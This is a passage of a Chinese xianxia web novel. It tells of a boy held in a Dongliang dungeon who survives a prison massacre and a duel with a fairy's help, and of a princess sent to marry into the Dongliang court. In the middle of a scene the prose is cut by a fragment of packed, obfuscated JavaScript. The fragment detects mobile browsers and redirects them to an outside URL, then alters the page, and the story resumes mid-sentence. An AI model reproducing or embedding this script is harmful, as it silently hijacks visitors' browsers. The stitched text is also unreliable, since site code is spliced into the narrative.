桑竹仙子嘴唇颤动着,说:“两道情劫,一生一死。不可让南风去……我看到的未来,只有两次。拜托你了……” 方大仙垂下头,重重点头,眼泪砸在被褥上。 “那孩子,可以救她,留住她。” 那孩子的名字,桑竹仙子写在了纸上。 “不可被窥见。你若遇见那孩子,可赐予他姓氏,避开天君的视线。” 方大仙问不出原有,喉间的酸涩堵着呼吸,就连桑竹仙子最后的话,也差点没听真切。 两千多年后,天君召见方大仙,说想让绝世仙骨继承起死回生之术。 天君道出名字的一刻,爱妻临死前的话再次被想起。 砚清,那孩子的名字。 后来,方大仙遵循诺言赐给了砚清柳姓,寓意为希望他能留住南风的命。 但是…… 究竟是哪里出了问题?柳砚清留不住南风,甚至预知的结局还是发生了。 “桑竹啊……到底是哪里做错了……是名字吗?因为我改变了那孩子的名字,所以一切都变了吗……” 65. 芳草长川 夏逸飞是在扑鼻的血腥味中醒来的,掌心触及冰冷的地面,发现一切都变得截然不同,压抑而诡异。 不过穿出一片树林,自己窝在草堆间睡了一觉,怎么就从赵国的光景转眼成黑石砌成的牢狱。 “师傅,我们这是……在哪儿?不是去西川吗?” “我们在东凉,地牢。” “东凉?!” 夏逸飞连忙坐起身,紧贴到墙角的位置谨慎地观察着外面的情况。 地牢狭窄逼仄,墙壁由漆黑的石块垒成,缝隙间渗出暗红色的水痕,像是干涸的血迹。 头顶悬着一盏残破的油灯,火光微弱,在穿堂而过的阴风中摇曳,将扭曲的影子投在墙上,如同鬼魅般晃动。 走廊深处传来铁链拖地的声响,还有不知是人是兽的低沉喘息,一声声敲在耳膜上,让人脊背发寒。 “我们……为什么会在这里?” 师傅从始至终淡定自若地盘腿坐在角落,无论表情还是内心都波澜不惊。 “为了接受考验。” “考验?什么考验?谁考验我们?” “不是我们,是你。” 师傅的声音平静得可怕。 “从此刻起,你要学会在东凉活下去。这里不需要弱者,更不需要……犹豫不决的人。” 说罢,师傅站起身,门外不知何时躲在暗处的狱卒走到门口,打开铁栏上的锁,待师傅走出后再次锁上。 夏逸飞不解,以为师傅要被带去行刑。 “师傅!你们要带我师傅去哪儿!” 夏逸飞扑到牢门前,却被铁栏阻隔。他这才注意到牢门上布满了深浅不一的抓痕,有些痕迹里还残留着暗红色的血迹。 “逸飞。” 师傅回头,月光从高处的通风口斜射进来,照在他棱角分明的脸上,“从此以后,你不许再掉一滴眼泪,要活下去,全靠你自己。记住我的话,永远牢记。” “师傅——” 师傅转身离去的背影渐渐被黑暗吞噬,两个狱卒一左一右地押送着他。 夏逸飞死死盯着他们的背影,直到脚步声完全消失在走廊尽头。 地牢重归寂静,只剩下远处不知何人的痛苦喘息,和老鼠窸窸窣窣的爬行声。 夏逸飞蜷缩在牢房角落,数着从头顶岩缝滴落的水滴。 青灰色的衣裳早已看不出原本颜色,袖口磨出絮状的丝缕,像枯死的苔藓般挂在腕间。 “嗒、嗒、嗒……” 水滴在石板上砸出深浅不一的凹坑,他必须伸长脖子才能接到几滴。 舌尖触到冰冷的水珠,喉咙里火烧般的灼痛才稍稍缓解。 自从师傅被拖走那日起,已是地牢里第一千一百七十四次昼夜交替。 少年用指甲在墙砖上刻痕记数,直到某日发现指尖渗出的血比刻痕更鲜艳。 今天是被关押在地牢第三年零九天,距离上一次进食整整过去五天。 腹中空得发疼,胃袋像被一只无形的手攥紧又松开。 墙角的老鼠窸窸窣窣地爬过,黑豆般的眼睛在暗处发亮。 夏逸飞盯着它们看了很久,突然伸手一抓—— 指尖只碰到一截冰凉的尾巴,老鼠尖叫着窜进墙缝,留下几道带血的抓痕。 “已经饿到吃老鼠了吗……”他自言自语,“韩风妹妹说老鼠吃了会生病……不能吃……” 近来死寂得反常。 往日寅时准点响起的锁链声消失了,惯常巡逻的狱卒偶尔才能看见人影,连甬道尽头惯常的哀嚎都归于沉寂。 只有岩缝渗出的水珠滴落声,在死寂中显得格外刺耳。 三年非人的日子,忍受不了压抑折磨的人选择在牢狱中自尽解脱。 也有坚持下去的,但无一眼中失去了光。 盼不到尽头的日子,饥寒交迫的两重压迫。胃囊抽搐着绞紧,疼痛从腹腔直窜上眼眶。 夏逸飞下意识去摸藏在草席下的半块饼,本想着哪日师傅回来,每个几日就会换一张新的饼在此。 到底是吃还是不吃,夏逸飞纠结许久。 “我会饿死在这儿吗……要想等师傅回来,我得先保证自己不被饿死……” 没有盐味的饼,第一次那么好吃。 打破一切的突变是在五天以后。 不知道从哪里传来的巨响如一声号令,煽动了地牢里所有“囚犯”蠢蠢欲动的心。 夏逸飞正用那截骨头在墙上刻着记号,突然一声震耳欲聋的爆炸声从地底传来,整个牢房都在颤抖。 墙灰簌簌落下,远处传来石块崩塌的闷响。紧接着,此起彼伏的喊叫声在走廊里炸开。 “机会来了!” “冲出去!” “杀光所有人,就能活下去!” 没人知道是谁下发的这条命令,鬼使神差的,所有人已经拿起手边能用的工具,毫不犹豫地砍向另一个人的脖颈、头颅。 部分牢房的锁何时被打开,第一批逃出去的人见人杀人,眼皮都不眨一下。 突如其来的爆炸、越狱、互相残杀,一切都像是某个精心计划中的连锁环节。 夏逸飞贴在铁栏边,看到对面牢房的人不知何时已经撬开了锁,正用一根磨尖的骨头捅进另一名囚犯的喉咙。 鲜血喷溅在墙上,在油灯下泛着诡异的光泽。 无差别杀人,见人就杀。 “啊啊啊啊——!啊啊啊啊啊啊——!” 沉寂了三天的地牢,立刻回荡起此起彼伏的惨叫声。 现在的情况看起来,不仅仅是要制造一场无序的混乱,更像一个荒野怪兽的竞技场。 囚犯们像疯了一样互相撕咬,有人甚至为了一把生锈的钥匙扭打在一起。 对面那个曾受到惊吓挂在天窗铁栏上不敢下来的少年,此刻正骑在一个壮汉背上,用牙齿撕扯着他的耳朵。 毛骨悚然的一幕,吓傻了的夏逸飞愣在原地瞪大了眼睛看着。 忽地,那双黑洞般的眼睛看向夏逸飞,如饿兽一般扑过来,扒在铁门上,手臂穿过缝隙试图抓住他。 几次失败,只好悻悻而返,寻找下一个目标。 铁栏上还留着醒目的血红色,是刚才的少年抓握时留下的。 好在自己牢狱的门锁还安然无恙,否则眼下死的就是自己了。想到这儿,夏逸飞脚上一软,彻底脱力跌坐在地上。 不幸中的万幸。 走廊依然是无边的黑暗,闻不到硝烟的味道,估计爆炸声是从楼外传来的。 夏逸飞试探地朝铁栏移动了半步。 突然间,剧烈的爆炸声接连响起,头顶的板砖隐约传来震动和千军万马碾过一般的声音。 眼前的种种事情发生得太过突然,像是戏文中常见的越狱劫囚、混战戏码。 夏逸飞撇见不远处两位负责看守的狱卒,他们互相对视了一眼,竟没有上前阻拦,反而装作无事发生的移开了视线,站到了更远的位置。 到底,是什么情况…… 突如其来的阴风裹挟着血腥味灌入走廊,夏逸飞的后颈汗毛倒竖。 就在他愣神的刹那,一道黑影闪过,寒光乍现。 “咔嗒”一声,铁门锁头应声落地。 夏逸飞瞳孔骤缩,只见一只骨节分明、肌肤细腻的手正收回匕首。 这是在帮他越狱? “你是谁?为什么帮我?” 铁栏外的人闻声抬头和他对视,黑色的面纱只露出一双水灵的眼睛。 看见那人的正面,夏逸飞微微一愣,好像在哪里见过他……? 不对,是“她”,那是个女人?! 他想起身向她靠近,却忽而被嘈杂的声音吸引了视线,再看向那个位置时,早已没有了人影。 凭空消失了?! 管不了那么多,咽下最重要的是如何逃出去。 夏逸飞抬脚小心地踢开门,生锈的铁栅栏发出刺耳的呻吟。 门锁的确是被打开了,他谨慎地把着铁栏向外观望。混乱的主战场已经转移,外面的脚步声渐弱,夏逸飞又观察了片刻后,闪身贴到了走廊边。 整个牢狱静得连老鼠的声音都不可闻,贴着墙壁仔细辨别大部队已经走远。 机会来了!得赶紧找到师傅! 东凉的地牢很大,错综复杂。除了牢房里偶尔有天窗透些月光进来,几乎一片黑暗。 凭着方向感还没走几步,远处的黑暗中突然传来一声犀利的惨叫和利刃入肉的闷响,紧接着是接二连三的哀鸣声。 接着是重物倒地的震颤,惨白的月光从通风孔斜射下来,照亮地上一道蜿蜒的血溪。 夏逸飞尽量不让自己低头看地上的东西,就算脚不小心踢到也强忍着不去看。 绝对不能让自己看到地上的尸体呈现什么表情,会吓到腿软,就走不出去了。 地牢那么大,师傅到底在哪里? 夏逸飞如同暗道里的老鼠擦着墙壁飞快地奔跑,不放过任何角落。 一路上磕磕绊绊地擦碰到不少坚硬的锐物,却丝毫没有疼痛的感觉,此刻内心的担忧压过了任何别的感受。 必须尽快赶往师傅身边!哪怕死,也要爬到师傅身边! 为了避免在地牢中逃亡时迷路,他聪明地在走过的岔路口用地上的血做记号。 血液浓稠,不知道混杂了多少个人的血。 草鞋已被染尽,只是黑灯瞎火的,看不清罢了。 终于,他看到了那个熟悉的背影。 “师傅?!” 夏逸飞没有任何的犹豫,摸着黑匆匆往那里赶。 “师傅我们快走吧!这群人都疯了!他们居然开始自相残杀,我们——” “逸飞。” 师傅有些急躁地打断了夏逸飞,他怔怔地看着师傅。 “从今以后,誓死效忠于东凉,你要在这儿刻苦磨炼,将来成为东凉的大将军,替东凉……消灭赵国。” “师傅你在说什……” “答应师傅,师傅就带你活着出去。否则,你就待在这儿吧。” “不!我跟师傅走!” 面前的人良久没有说话,夏逸飞急了,嶙峋的手扯了扯师傅的衣袖,想让他说句话。 “跟紧师傅。” 师傅举起神臂弓,夏逸飞跟在身后,用脚轻轻带开了虚掩的地牢大门。 映入眼帘的不是东凉的天,而是更长更深的甬道,且横尸遍野。 空气中弥漫着浓厚的血腥味道,似乎证明着这一次自己是实实在在地来到了这里,刚才混乱的主战场…… 人间炼狱,非死即生。 撕心裂肺的惨叫声再度落入耳中,夏逸飞蜷缩在地上几度呕吐,但因为饿了几天,肚子里什么都没有,只吐出来一些水。 肩膀上多了一道可靠而稳重的温度,夏逸飞睁开眼,对上了一道沉着的视线。 “要活下去,只有活下去,才能实现愿望。” 少年的眼窝何时堵满了泪水。 夏逸飞正想说些什么,师傅忽然叹了口气,向他伸出了掌心。 “最后一次,允许你牵着我的手走出黑暗。但此之后,你都要一个面对黑暗,战胜黑暗。” 犹豫片刻,夏逸飞重重点头,努力咽下作呕的感觉,把手放入师傅的掌心上用力地握住。 “我记住了!” 夏逸飞马不停蹄地跟着师傅跑 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师傅发出一声冷笑,“逃不出去的,是你们。” 无情、冷血,夏逸飞认识师傅一年半载第一次听见师傅嘴里发出如此没有人情的声音。 但相比师傅的反常,眼下还有一个更重要的问题。夏逸飞心知肚明,摈弃杂念,死死瞪着对面的一伙人。 那领头人啐了口血沫,咧嘴一笑:“既然都是逃命的,你身上的伤也不轻,我们一伙兄弟伤的伤,残的残。兄台也是江湖中人,不如咱们就按江湖规矩——单挑定生死。” 他指了指身后一个满脸横肉的胖子。 “眼下只有我这兄弟还能拼上一拼,就他和你手里的娃娃一局定生死。” 双方都伤势惨重的情况单挑是不可避免的。 但如此明目张胆的以强欺弱,显然,对方是要将夏逸飞置于死地后,连同师傅一起抹杀。 为了让师傅放心大胆放自己去拼一把,几次深呼吸给自己壮胆后,挣开师傅牵着自己的手,郑重点头压低声音说道:“师傅,终于轮到我保护你了,您一定要睁大眼睛看好了。我夏逸飞,从此以后,不会再是只哭哭啼啼的小孩子了!” 夏逸飞活动着筋骨上前一步,瘦弱的身躯连续饿了几天,拼着意志力勉强让自己充斥了些斗志和力气。 胖子狞笑着上前,粗壮的手臂上青筋暴起。发黄的牙齿裂开,发出惊天怒吼。 夏逸飞喉结滚动,不自觉地后退半步。 都是饿了几天的人,对方哪儿来的力气?莫不是吃了地牢里的老鼠?或者……夏逸飞忽然冒出离谱的想法,吓得自己双腿开始颤抖。 师傅却突然从背后按住他的肩膀,伏到他耳边低声道:“记住,活下来才是赢家。你管他吃没吃,眼下你只管一件事——杀了他,然后活下去。” 要活下去!就要硬着头皮拼了! 不就是杀人嘛……杀人…… 就当他山中的豺狼,要杀了他才能保命! 对,那是一匹恶狼,不是人……是畜生! 不等夏逸飞反应,胖子已经扑来。 第一拳就砸在他脸颊上,夏逸飞眼前一黑,尝到满嘴血腥味。他本能地抱头蜷缩,第二拳重重落在肋间,仿佛听见骨头断裂的脆响。 “啊——” 瘦小的身子飞出老远,重重落在一滩黏腻的血上。 “哼,就这点能耐?” 胖子揪着夏逸飞的头发将他提起,膝盖狠狠顶向腹部。 夏逸飞喷出一口血,余光瞥见师傅握紧的拳头,却始终没有出手相助。 第三拳、第四拳…… 奄奄一息的夏逸飞像破布般被摔在地上。 鲜血模糊了视线,他看见胖子举起块尖锐的石头,朝自己头顶砸来。 生死瞬间,夏逸飞突然想起地牢里那只逃生的老鼠,黑豆般的眼睛对他发出蔑视。 他用尽最后的力气抓起把地上的沙土扬向胖子眼睛,在对方惨叫时,抓起地上的断箭狠狠扎进其脚背。 “啊——” 惨叫声中,胖子轰然倒地拼命挣扎,嘴里还在叫骂威胁。 本想再补上致命的一刀,夏逸飞却已经爬不起来。 血色模糊视线,脑海还是恍惚着韩风妹妹的脸。 他躺在血泊中剧烈喘息,听见师傅的声音从很远的地方传来。 “这就死了?真不禁打。” 不对,这不是师傅的声音,师傅不会说这种话。 夏逸飞努力睁开眼,校场上除了两方的人,没有别的活人。 而且那声音很细腻,不似男人的粗狂,如清风化雨。 他忽然想起地牢内帮助他越狱的女人。那双神似韩风妹妹的眼睛。 会是她吗? 顷刻间他身上的血迹如雪一般融化,皮肤上的冻伤也在逐渐消退。 短短几秒他身上的伤痕痕迹全部消失,不见,仿佛刚才的一幕只是所有人的错觉。 “什、什么情况?!你竟然会巫术?” 夏逸飞的后背慢慢爬上一层冷汗。 “我……我也不知道……” 下一刻,四角的火堆被风吹倒,几点火星落在周围的拒马上,顿时燃起。 火光冲天,尸体堆被瞬间点燃,形成巨大的火堆。 当时所有活人的注意力都在眼下的最后一战上,根本没人注意这副新出现的面孔,格格不入的面孔是在什么时候,从哪里冒出来的。 随着那人从地牢出口缓缓走来,广场陷入一片死一般的寂静。 “女……女人?” 66. 维子之故 这种地方怎么可能有会女人出现。没有人敢上前确定,眼前的女人…… 到底是人是鬼? 看准眼前的机会,师傅抱起地上的夏逸飞迅速逃离。大火蔓延逐渐吞噬,留下的人活生生被火蛇吞噬,在哀嚎中宣告失败。 沉稳又令人安心的声音缓缓落在耳畔。 “你不能死,活下去。” 是女人的声音。一定是刚才的女人,是她再一次救了自己。 火海翻涌,夏逸飞眼睛一瞬不眨地望着那个身影,看着她逆着火光一步一步走到尸骨堆上,回眸恰好对他四目相对。风火肆意卷起她的衣裳和臂弯间的飘带,火舌像是惧怕她一般,与她的衣角擦肩而过。从容而锐利的眉眼勾勒出凌厉的弧度,嘴唇抿成锋利的一道弧线。光影交错间,那张姣好的面容时隐时现,又始终透着不容动摇的决绝。 似九天下凡的仙姑。 她为什么要救我…… 仙姑像是听见了夏逸飞的心声,勾唇一笑,摩拳擦掌一脸期待样,用唇语说:你要是死了,我可就不能完成与那孩子的约定了。 清冷的月光缓缓洒落在师傅的身上,将他被汗浸湿的衣衫照得透亮。 “师傅为什么来东凉?” 蹲在黑暗的角落,夏逸飞看向喘气的师傅,问出了困惑自己已久的问题。 “当朝皇帝昏庸无能,赵国没有未来,赵国迟早灭亡。与其替一个没有光明的国家卖力,倒不如另寻道路,也给子孙后代谋一条生路。” 什么时候留在掌心的伤疤被夏逸飞细细的摩挲,师傅说的话他听进去了,却左耳进右耳出。 青梅熟悉的面容渐渐的和从天而降的人重合,他觉得眼眶有些发烫,但眼下不能哭,以后也不能哭。 “逸飞啊,我不是有意骗你到此。我只是不想看你孤身一人留在赵国。” “我还有韩风妹妹。” “一个小姑娘,她不是说了吗,要进宫做一名宫女。” “可她说二十五就出来——” “她骗你的。一旦进了深宫,没人再出来。做奴隶的,主子一生气,命就没了。生与死都凭主子的心情,她年纪那么小,哪晓得那群沉迷于诗酒玩乐的人会对她做什么。能活下去就是万幸,活不下去……就是命。” “……” “你现在也回不去了,听天由命吧。你也是,并不是到了东凉你就能活下去。你必须证明自己,只有有能力的人才有资格在这乱世活下去。” 他回答的云淡风轻,却刻意加重了最后三个字,像是无形的讽刺。 年仅十五岁的夏逸飞陷入沉思,不禁喃喃:“活下去……只要活下去,我就能再见到她,对吗?” “等将来东凉大举攻下赵国,你所祈愿的,都将实现。” 即使心里有许多疑问,但他还是没有犹豫的应了下来。 只要活下去,就能再见到她。 月光隐退,师傅指了指不远处敞开的城门。 城墙向两侧延伸,渐渐隐入黑暗。正中央的城门大敞着,黑黢黢的洞口仿佛一张择人而噬的嘴。师傅所指的那条路从城门下笔直地延伸进去,路面由粗糙的青石板铺就,明显看得见刀枪在上面留下的痕迹。路的尽头隐约可见一片开阔的场地。 “沿着这条路一直走,你会看见一个校场。那里是决出下一任东凉大将军的地方。消灭你的最后一个对手,你——就能活下去,你所祈愿的,都将实现。” 夏逸飞压下内心的疑惑,继续问道:“师傅你呢?” 师傅一时没答话,闭目沉思,后背靠上冰冷的城墙。 “师傅……要去做更重要的事情。” 夏逸飞转过头,借着微弱的月色仔细打量着师傅。他站在黑暗中,眼睛却很亮。那是看见希望时候的光芒,师傅的眼里……看得到未来。 自己,是否应该相信师傅的判断,沿着他给自己定下的路走下去呢?夏逸飞不知道,他苦思冥想也不明白。“家国兴亡,匹夫有责。”十五岁的少年哪里明白什么家国情仇,他不过想活下去,实现与她的诺言,完成自己和青梅定下的约定罢了。 “去吧。终有一天,我们会再见的。我希望再见到你时,我该尊称你为——夏将军。” 就此,东凉未来的大将军手持师傅送来的长刀,毅然踏上征途。短短几年内坐稳大将军之位,与赵国交战屡战屡胜,终成东凉国除天子之外权柄最盛的权臣。 “逸飞哥哥!我听爹爹说,我的名字是仙人赐给我的!还说,如果我长大以后遇到困难,赐我名字的仙人会来帮我!” “哈哈哈哈,韩风妹妹还信神仙呢。” “是真的!爹爹和娘亲都看到了仙人,是仙人的指引才给我取了韩风这个名字。我猜,那位仙人一定很漂亮、很善良!等以后我有困难,或者逸飞哥哥有困难,仙人一定会帮我们的!” “仙人都有名字,你可知那赐名的仙人叫什么?” “唔——不知。我又没见过……不过,等以后仙人来帮——” “啊啊啊啊,好啦好啦。重复的话不用再说啦。这样吧,等以后我们谁要是先见到那位仙人,就把她的样子记下来,然后描述给对方听,怎么样。” “嗯——或者我们一起去见她!” “好!” 【又见东风】 换下臭烘烘的黑色纱衣,我蹲身捻起地上的衣裳,一脸嫌弃地在院子左右徘徊,纠结该丢去哪儿。蓬莱第几宫就没个隐蔽点的地方,爹爹是个常年宅家的“闲散大仙”,西雨也是自出生便不曾离开蓬莱的宅人。 “哎呀,不管了,竹林挖个坑埋了得了。” 确认暂时看不见人影后,我带上人界偷回来的锄头,钻进竹林挖了个小小的坑,把沾满尸臭和硝烟味的衣裳埋葬。 大功告成。 心满意足地折回前院,偶然路过客房,柳砚清在此求学时住的卧室。门竟然没关,往里张望,白色的纱帘后似乎有人影晃动。我迟疑了一下才缓缓走过去,伸手拨开白色的纱帘,就这么猝不及防地撞入纱帘后换衣裳的人的后背。 “你在做什么?” 四目相对下,西雨略带惊讶地挑起眉峰,似乎很意外我出现在这里。 “抱、抱歉!我以为是……我立马走!” “回来。” 他一把将我拽回去,“帮我上药。” “你受伤了?” 我打量起眼前的人,肤白貌美,哪儿有受伤的样子。 “不是,护肤的药膏。” 我心里稍稍松了口气,又忍不住揶揄:“……你还护肤呢。” 西雨抬起一根手指摩挲我的脸颊,“你倒是该呵护一下了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056779|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唔,你别——” 话没说完,西雨收回手指将指尖上摩挲沾取下的东西给我看。 “血。” 我的心突地跳了一下,“嗯?啊!怎么会有血!我破相了?!” 吓得我胡乱摸脸,不记得自己受过伤啊。 耳畔传来一声几不可闻的轻笑,西雨戳着我的脸颊说:“不是你的血。” 不是我的血,刚才我又撞上了某人的后背……我下意识上下仔细检查西雨的身体,“你受伤了?” 他一脸无奈,“……你刚才问过了。” “我不信,我看看。” 我抓着他的臂膀,仔细验伤。 西雨无奈握住我的手,将我的手放下,柔声说:“我怎会骗你。” “那这血……” 他沉默了会儿,忽地凑近我用鼻子深嗅,眸中闪过细微的光,“你刚才去哪儿了?” “刚才……啊!对啊,我刚才去了趟东凉,校场上全是尸体。兴许是刚才沾上的。” 他眉头紧蹙,严肃追问:“东凉?去那里做什么” 我眨了眨眼,笑嘻嘻地踮起脚尖,伸手戳了戳他紧绷的脸颊:“救一个孩子。之前帮一个姑娘赐了名,她的竹马有危险,我便赶去救他了。” 西雨伸手指着我的鼻尖,学着爹爹恨铁不成钢地数落我:“就说你喜欢多管闲事。自己的事还没处理清楚,就去管别人。凡间那个叫颜卿的事,你打算怎么处理?从婚礼上逃走,你让他这信州知县怎么抬起头?” “哪儿是直接逃走的,我托信州的戏班子朋友演了出戏,上演了出我被掳走的戏份。还给他留了封信,让他不必寻我,日后有缘自会再见。” 我抬头冲他狡黠一笑,从袖子里抽出一封信晃了晃。 他扶额叹气:“处处留香,小心以后遭报应。” “不会不会,我可是出了名的惜命,以后会补偿他们的。” 正要转身溜走,我又一个箭步折返,踮脚凑到他耳边,压低声音神神秘秘道:“我此番要去开封,你别给我暴露了。爹爹要是问起,就说我去医鹿山了。” “你当爹爹是傻吗……”西雨摇了摇头,“我帮你说谎,但你得告诉我去开封做什么。” “成亲。” “……” 西雨眨巴眨眼,表情凝固了一瞬。 “你说去干什么?” “成亲!”我抿着嘴唇偷笑,脸颊微微泛红,“人界一个叫贺祈源的少年,前些日子在花海跟我求婚了。” 想起那日的画面,我有忍不住原地蹦跶。 西雨按住躁动的我,问道:“……然后呢?颜卿也跟你求婚了,你跟别人都走到婚礼当日了。” 我眼神躲闪,支支吾吾:“那那那、那不一样!颜卿是个好人!” “贺祈源不是好人?” “也不是这个意思……”我语塞,干脆耍赖,双手捂住耳朵,“总而言之!你别再问了!再问我生气了!走了!” 跑出几步,我又转身朝他吼道:“别忘了啊!敢暴露,我下次回来就……就揍你!” “……” 于是,下一次回来,西雨看到的,是一具被江水浸泡没了生气的尸体。 “是不是再有下次,就是掉下悬崖摔成粉碎的你了?” 他似乎,说对了。 67. 流入宫墙 妻风亲启: 展信佳,见字如晤。 信笺与柳枝皆已妥帖收好,边疆风物粗粝,倒衬得你寄来的字句格外温柔。一路车马劳顿,可还安好?见你信中仍有心思玩笑,数月悬着的心才稍稍放下。信州近日秋意渐浓,晨起时窗棂已凝了霜,你留下的暖炉搁在案头,铜身映着烛光,倒像是你仍在身边絮絮叮嘱。 边疆风沙凛冽,豺狼昼伏夜出,你素来胆大,却也莫要逞强。若遇险情,切记保全自身为上。 想你时,提笔绘了幅墨梅,枝干虬劲如你我当年共倚的那株。画至右下角,忽忆起你总爱在梅树下置一方矮几,便添了张空桌——纸薄易损,不知到你手中时,可还能瞧清那未尽的茶盏?待你归来,我们再一同补完这幅画,可好? 纸短情长,墨浅情深。边疆苦寒,记得添衣加餐。我不在身侧,你更要仔细三餐,静心养气。 夫卿手泐 我蓦地朝紧闭的窗台看去。是风拍打发出的声音,还以为又是野猫要跳进来。 视线顺着身上的大红色礼服向下落去,最后停留在我光着的脚背上。它已经冻得没有知觉,但我却一点也不觉得冷。 柳砚清上天述职还有多久回来?颜卿收到我最后的信会是什么感想? “怎么不穿鞋?” 淡然的声音忽然从窗台的方向传来,让我下意识地背脊一直,回过神来。 “麻烦大将军下次走门好吗。” 夏逸飞坐在敞开的窗边,一只脚踩在窗台上,一如初见时那样目中无人。 “还有半个时辰出发,我来看看公主准备得如何。” 我收回视线,不再看他。 “多谢将军关心,如你所见,一切准备就绪。鞋,我待会儿再穿。” 他跳下窗台,一步一步地靠近,走到了我的跟前。 “差一只鞋,就不叫准备好。” “……” 夏逸飞就这么直勾勾地盯着我,眼神里读不出任何讯息。 “我知道了,现在就穿。” 我弯腰捡起地上的一只鞋,正准备穿上,手中的鞋被人一把夺去。我不理会他,默默捡起另一只,不出意外,又被他夺走。 我的脸色瞬间沉下,蹙眉抬头用眼神质问他。但在看到那张无表情的脸时,立马别开。 “哪儿能让公主自己穿鞋。”眼前的人蹲下身,“我来帮你穿。” “……” 他缓缓抬起我的一只脚,轻柔地将我的脚托着送进鞋里。每一步动作都极其温柔,和眼前的人一点不相称。穿好两只鞋,夏逸飞定定地看着我,终于,等我受不了他的视线与他相视,眼底的戾气一点一点褪去,嘴角也扬起了一抹弧度。 是发自内心真诚的笑。 “你笑什么?” “笑也不可以吗?” “我以为你……不会笑。” “我是人,怎么不会笑。” “你是人,为什么每次进这间屋子,都放着门不走,走窗户?” “还在纠结这个。” 我听见他似有若无地叹了口气,起身走到门口,猛地来开紧闭的门扉。门外的景象吓呆了我,四五个守卫直挺挺地站在门外,手里拿着刀枪,警惕着周围的一切动静。我好像明白了什么。 “公主殿下已准备就绪,我们出发。” 禁军列阵,铁甲森然,长戟如林,礼官肃立。 兴庆府的主街道上铺满红色的花瓣,层层叠叠。马车碾过花街,停在朱红色的城门外,城门高耸,铜钉在阴云下泛着冷光。踏入宫门,甬道两侧的宫墙足有三丈高,墙面用黄土夯筑,刷着赭红色涂料,同闻笙与我描述过的东凉建筑风格一模一样。 明明目之所及都那么真实,但繁华的一切落入我眼中,却依稀有些恍如虚幻,那么不真切。我在东凉侍女的搀扶下缓缓走下马车,踏上柔软的繁华铺成的红毯。细看,竟然是月季。 地上很美,头顶却不配合这场盛大的演出。隐隐作响的雷鸣,如同战鼓擂动,预兆着一场暴雨即将来临。陪在我身旁的史丞相不时望向天边逐渐靠近的乌云,脸上的担忧越发沉重。 我努力装出淡然的样子,踏入东凉皇宫,踏上脚下没有归途的路。 似乎什么东西落入眼里,身旁的侍女下意识惊了一下。紧接着,我也感受到了什么从头顶落下。 “下雨了?” 稀疏的雨点落下,浅灰色的地板显出雨点的痕迹,像是一幅在脚下渐渐晕开的水墨画。 下雨,仪式也不能停。 脚下的路越走越远,心里的委屈也开始翻涌。我艰难地支撑着最后一丝坚强,祈祷着雨快停下。然而,雨神听不见我的声音,只落下更密的雨。摇曳的红色绸缎被打湿,沉重的挂在悬梁上,喜庆消褪,像是被水浸透的血色。。 东凉皇宫的广场用贺兰山青石铺就,宽阔得能容下千军万马。此刻却空荡荡的,仿佛只有我孤零零站在雨中,满朝文武百官都离我那么远。 所有人屏着呼吸等待一个人的出现,那人却迟迟未到。吉时已过,燃烧的香烛只剩半截。 雨丝渐渐密了,起初只是细碎的凉意,后来便成了连绵不断的银线。凤冠上的珠帘被雨水打湿,沉甸甸地坠在眼前,将远处的宫阙殿宇割裂成模糊的影子。落下大点的雨滴,打湿了我身上一点不衬我的东凉嫁衣。 且抛开东凉皇帝这一举动是不是故意的,是赵国要找东凉和亲,人家要我们的雨中等,也只能毫无怨言地等下去。 列队的君臣中传出两声咳嗽,似有人朝身旁的官员使了个眼色,随后悄然退至檐下。紧接着,第二个、第三个……他们像被雨水冲刷的沙砾,无声无息地散开,躲进了宫门内的廊柱后。 也是,没道理所有人都站在雨里。除了我,婚礼的新娘,和亲的公主,决不能离开。雨水顺着脸颊流下,分不清是雨是泪。 史丞相站在我身侧,脸色铁青。 我转头看向他,说:“丞相也先去避雨吧。” “可公主——” “我知道,我不会走,我会一直站在这里的。” 沉默后,我听见他在我身后叹了口气,最终悄然退至檐下。 史丞相离开后,露出了他身后的人。我看见了夏逸飞。他浑身湿透,眼睫上还挂着水珠,他似乎站在那里看了我很久。 “夏将军也去避雨吧。” 他只是叹了口,语气淡漠:“岂能让公主一人站在雨里。” “我没事儿……你去避雨吧。” 我不想让他陪我淋雨,我想一个人待会儿。 夏逸飞淡淡“嗯”了一声,我暗暗庆幸,可他却迟迟没有离开。 “口头答应和实际行动没有关系。” “……”我就知道。 忽然想起在医鹿山时,柳砚清要我别做什么,也常常口头答应实际却一点不行动。但那是出于对柳砚清的感情,是发自内心的自愿。想到这,我望向夏逸飞深邃沉静的眸子。那眸子里映着雨中的我,狼狈不堪。察觉到我的视线,站在侧后方的人大步跨上前,站在我身侧与我并肩。 “大将军可以站在这里吗?” “有什么关系?仪式中断,我陪公主站会儿。” 我沉默,没再说话。 过了会儿,史丞相送来两把伞,一把给夏逸飞,一把撑在我头上。 “丞相,这样……不会失了礼数吗?” “眼下吉时已过,婚宴恐怕不会再进行下去……东凉皇帝也迟迟不现身……公主要是病了,那才是大事。这也是我……能为公主做的,最后的事了。” 我看向他,心底一暖。视线终于清晰一些,眼泪也在刚才的雨水中流得差不多。 一名侍卫匆匆跑来,靴子踏在水洼里发出啪啪声响,忽地跪在雨地里,溅起的水花溅到我的裙摆上。 “禀报大将军,陛下从宣化回兴庆途中遇雨,山路泥泞,今日……怕是无法回宫。” 听到消息,夏逸飞倏地皱起眉头,“陛下可有特地交代什么?” “没有……他说若有事,全听大将军安排。” 夏逸飞沉下气,“我知道了,退下吧。” 传信的人退下,脚步声很快被雨声淹没。夏逸飞没有说话,只是静静地凝视我。我猜他是想询问我的意见,或者看我的表情。但最后他还是默默看向我身边的史丞相,开口说了他的指令。 “史丞相也听见了。雨势渐大,保重公主的玉体要紧,我带公主回寝殿休息吧。” 史丞相为难地看向我。 “公主……” 我努力扬起笑容,让自己看起来不那么难过。尽管是假的,眼下我就是赵国前来东凉和亲的公主,无论什么风雨都该坦然面对,怎么能显露出平日里那张泫然欲泣的脸? 